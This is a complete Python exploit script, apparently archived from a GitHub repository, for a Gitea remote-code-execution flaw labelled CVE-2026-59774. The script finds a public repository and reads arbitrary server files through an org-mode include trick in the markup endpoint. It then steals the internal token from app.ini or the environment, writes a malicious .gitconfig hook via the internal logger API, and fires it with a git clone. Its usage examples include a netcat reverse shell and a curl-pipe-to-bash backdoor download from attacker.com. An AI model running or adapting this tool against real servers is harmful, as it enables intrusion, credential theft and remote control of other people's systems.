#!/usr/bin/env python3 # Archived for authorized security research only. # Source: https://github.com/FlowerWitch/CVE-2026-59774_docker (see README for attribution/license) """ CVE-2026-59774 漏洞利用脚本 用法: python exploit.py -u http://test.com:3000 -c "id > /tmp/pwned" 可选 -d 开启调试输出 """ import requests import re import argparse import sys import urllib3 from urllib.parse import urlparse # 禁用 SSL 警告(测试环境使用) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def print_banner(): banner = r''' %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@#*+#@@@@@@@@@@@@@@@@%%%%@@@@@@@@@@@@@@@@@@@@%**%@@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##%@@@@@@@%@%@%%%@#%@@@@%%%%%%%%%%%%@#%@@@@%#*#@@@%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@%@%@%@%@%@@%%%%%%%%%%%%%%%%#%@%@@%#%%#@@@@%@@@@@%%%%%%%% %%%%%%%%%%@%%%@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%@@@@@%%@@@@%@@@@@@@@%%%% %%%%%%%%%%%@%%%@%%@%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%@@@@@%%%%@@@@%@@%%%@@@@@% %%%%%%%%%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%%@@@@@@@@@%%%%%%#%#%%%%%%%%%%%%%%%%#%%%%%%%@@@@%%@@%%%@@@@@ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%@@@@@%%@@@%%%%%%%%%%#*%%#%%%%##%%%%%@@@@@@@@@@@@@@@@@@%%@@@@ %%%%%%%%%%%%%%%%%%%%%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@@@@@@@*=%@@@@*- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%*#@@@@@% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%###+=---=*%@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%@@@ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*+*=------:+%@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%@@@ ''' banner1 = '\x1b[38;2;255;105;180m' + r''' ╔══════════════════════════════════════════════════════════╗ ║ ║ ║ 🌸 Flowerwitch CVE-2026-59774 Exploit Tool 🌸 ║ ║ ║ ╚══════════════════════════════════════════════════════════╝ ''' + '\x1b[0m' print(banner) print(banner1) class GiteaExploit: def __init__(self, base_url, command, verify_ssl=False, debug=False): self.base_url = base_url.rstrip('/') self.command = command self.verify_ssl = verify_ssl self.debug = debug self.session = requests.Session() self.session.verify = verify_ssl self.gitea_custom = None self.internal_token = None self.app_data_path = None self.public_repo = None def _debug(self, msg): if self.debug: print(f"[DEBUG] {msg}") def _get_public_repo(self): """步骤1: 探测目标是否有公开的仓库""" print("[*] 步骤1: 探测公开仓库...") test_users = ["admin", "root", "test", "user", "gitea"] for user in test_users: api_url = f"{self.base_url}/api/v1/users/{user}/repos" try: resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: repos = resp.json() if repos: repo = repos[0] self.public_repo = f"{repo['owner']['username']}/{repo['name']}" print(f"[+] 找到公开仓库: {self.public_repo}") return True except Exception: continue common_repos = ["admin/poc", "root/test", "gitea/gitea", "test/test"] for repo in common_repos: test_url = f"{self.base_url}/{repo}" try: resp = self.session.get(test_url, timeout=10) if resp.status_code == 200: self.public_repo = repo print(f"[+] 找到公开仓库: {self.public_repo}") return True except Exception: continue print("[-] 未找到公开仓库") return False def _read_file_via_markup(self, file_path): """ 通过 /{repo}/markup 接口读取任意文件 使用 #+INCLUDE: "{file_path}" src 123 格式绕过正则过滤 """ if not self.public_repo: return None url = f"{self.base_url}/{self.public_repo}/markup" payload = { "Mode": "file", "FilePath": "poc.org", "Text": f'#+INCLUDE: "{file_path}" src 123\n', "Context": f"/{self.public_repo}/src/main/" } try: resp = self.session.post(url, json=payload, timeout=15) if resp.status_code == 200: return resp.text else: print(f"[-] 读取文件失败 (HTTP {resp.status_code}): {file_path}") return None except Exception as e: print(f"[-] 请求异常: {e}") return None def _get_gitea_custom(self): """步骤2: 读取 /proc/self/environ 获取 GITEA_CUSTOM""" print("[*] 步骤2: 读取 /proc/self/environ 获取 GITEA_CUSTOM...") content = self._read_file_via_markup("/proc/self/environ") if not content: return False self._debug(f"环境变量内容前200字符: {repr(content[:200])}") match = re.search(r'GITEA_CUSTOM=([^=]+?)(?=GITEA_[A-Z_]+=|$)', content) if match: self.gitea_custom = match.group(1) print(f"[+] 获取到 GITEA_CUSTOM: {self.gitea_custom}") return True else: fallback = re.search(r'GITEA_CUSTOM=([^\s]+)', content) if fallback: self.gitea_custom = fallback.group(1) print(f"[+] (备用匹配) GITEA_CUSTOM: {self.gitea_custom}") return True print("[-] 未在 /proc/self/environ 中找到 GITEA_CUSTOM") return False def _get_app_config(self): """步骤3: 读取 {GITEA_CUSTOM}/conf/app.ini 获取 INTERNAL_TOKEN 和 APP_DATA_PATH""" if not self.gitea_custom: return False print("[*] 步骤3: 读取 app.ini 获取 INTERNAL_TOKEN 和 APP_DATA_PATH...") custom = self.gitea_custom.rstrip('/') app_ini_path = f"{custom}/conf/app.ini" self._debug(f"app.ini 路径: {app_ini_path}") content = self._read_file_via_markup(app_ini_path) if not content: return False self._debug(f"app.ini 前500字符:\n{content[:500]}") token_match = re.search(r'^\s*INTERNAL_TOKEN\s*=\s*([^\s#]+)', content, re.MULTILINE) if token_match: self.internal_token = token_match.group(1).strip() print(f"[+] 获取到 INTERNAL_TOKEN: {self.internal_token[:20]}...") else: print("[*] app.ini 中未找到 INTERNAL_TOKEN,尝试从环境变量获取...") env_content = self._read_file_via_markup("/proc/self/environ") if env_content: env_match = re.search(r'GITEA_INTERNAL_TOKEN=([^=]+?)(?=GITEA_[A-Z_]+=|$)', env_content) if env_match: self.internal_token = env_match.group(1) print(f"[+] 从环境变量获取到 INTERNAL_TOKEN: {self.internal_token[:20]}...") else: print("[-] 环境变量中也未找到 INTERNAL_TOKEN") return False else: print("[-] 无法读取 /proc/self/environ") return False path_match = re.search(r'^\s*APP_DATA_PATH\s*=\s*([^\s#]+)', content, re.MULTILINE) if path_match: self.app_data_path = path_match.group(1).strip() print(f"[+] 获取到 APP_DATA_PATH: {self.app_data_path}") else: print("[-] 未在 app.ini 中找到 APP_DATA_PATH") return False return True def _inject_gitconfig(self): """步骤4: 使用 INTERNAL_TOKEN 向 APP_DATA_PATH/home/.gitconfig 写入恶意配置""" if not self.internal_token or not self.app_data_path: return False print("[*] 步骤4: 注入恶意 .gitconfig...") target_file = f"{self.app_data_path}/home/.gitconfig" malicious_config = f'[uploadpack]\n\tpackObjectsHook = {self.command} ;#' url = f"{self.base_url}/api/internal/manager/add-logger" headers = { "X-Gitea-Internal-Auth": f"Bearer {self.internal_token}", "Content-Type": "application/json" } payload = { "Logger": "router", "Writer": "pwnhook", "Mode": "file", "Config": { "filename": target_file, "flags": "none", "prefix": malicious_config, "level": "Info", "rotate": False } } try: resp = self.session.post(url, json=payload, headers=headers, timeout=15) if resp.status_code in [200, 201, 204]: print(f"[+] 成功写入恶意配置到: {target_file}") return True else: print(f"[-] 写入失败 (HTTP {resp.status_code}): {resp.text}") return False except Exception as e: print(f"[-] 请求异常: {e}") return False def _remove_logger(self): """步骤5: 关闭日志句柄,避免后续请求污染""" if not self.internal_token: return print("[*] 步骤5: 清理日志句柄...") url = f"{self.base_url}/api/internal/manager/remove-logger/router/pwnhook" headers = { "X-Gitea-Internal-Auth": f"Bearer {self.internal_token}" } try: resp = self.session.post(url, headers=headers, timeout=10) if resp.status_code in [200, 201, 204]: print("[+] 日志句柄已清理") else: print(f"[-] 清理失败 (HTTP {resp.status_code})") except Exception as e: print(f"[-] 清理异常: {e}") def _trigger_command(self): """步骤6: 触发命令执行 (通过匿名 clone)""" print("[*] 步骤6: 触发命令执行 (clone 仓库)...") if not self.public_repo: print("[-] 无公开仓库可 clone") return clone_url = f"{self.base_url}/{self.public_repo}.git" # 使用 git clone --depth 1 来触发 pack-objects import subprocess import tempfile try: with tempfile.TemporaryDirectory() as tmpdir: cmd = ["git", "clone", "--depth", "1", clone_url, tmpdir] print(f"[*] 执行: {' '.join(cmd)}") result = subprocess.run( cmd, capture_output=True, text=True, timeout=30 ) print(f"[*] git clone 返回码: {result.returncode}") if result.returncode == 0: print("[+] 命令应已执行,请检查目标系统") else: print(f"[-] git clone 失败: {result.stderr}") except FileNotFoundError: print("[-] 未找到 git 命令,请确保已安装 git") except Exception as e: print(f"[-] 触发异常: {e}") def run(self): """执行完整漏洞利用流程""" print(f"[*] 目标: {self.base_url}") print(f"[*] 命令: {self.command}") if not self._get_public_repo(): print("[!] 无法找到公开仓库,退出") return False if not self._get_gitea_custom(): print("[!] 无法获取 GITEA_CUSTOM,退出") return False if not self._get_app_config(): print("[!] 无法获取 INTERNAL_TOKEN/APP_DATA_PATH,退出") return False if not self._inject_gitconfig(): print("[!] 注入失败,退出") return False self._remove_logger() self._trigger_command() print("[+] 漏洞利用流程完成") return True def main(): parser = argparse.ArgumentParser( description="CVE-2026-59774 Gitea RCE 漏洞利用脚本", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" 示例: python exploit.py -u http://localhost:3000 -c "id > /tmp/pwned" python exploit.py -u https://gitea.example.com -c "nc attacker.com 4444 -e /bin/sh" python exploit.py -u http://test.com:3000 -c "curl http://attacker.com/backdoor.sh | bash" """ ) parser.add_argument( "-u", "--url", required=True, help="目标 Gitea 实例 URL (例如: http://localhost:3000)" ) parser.add_argument( "-c", "--command", required=True, help="要执行的系统命令 (例如: id > /tmp/pwned)" ) parser.add_argument( "-d", "--debug", action="store_true", help="开启调试输出,显示更多详细信息" ) parser.add_argument( "--no-verify", action="store_true", help="跳过 SSL 证书验证 (仅测试环境使用)" ) args = parser.parse_args() print_banner() if not args.url.startswith(("http://", "https://")): args.url = "http://" + args.url exploit = GiteaExploit(args.url, args.command, verify_ssl=not args.no_verify, debug=args.debug) try: success = exploit.run() sys.exit(0 if success else 1) except KeyboardInterrupt: print("\n[!] 用户中断") sys.exit(1) except Exception as e: print(f"[!] 未预期的错误: {e}") sys.exit(1) if __name__ == "__main__": main()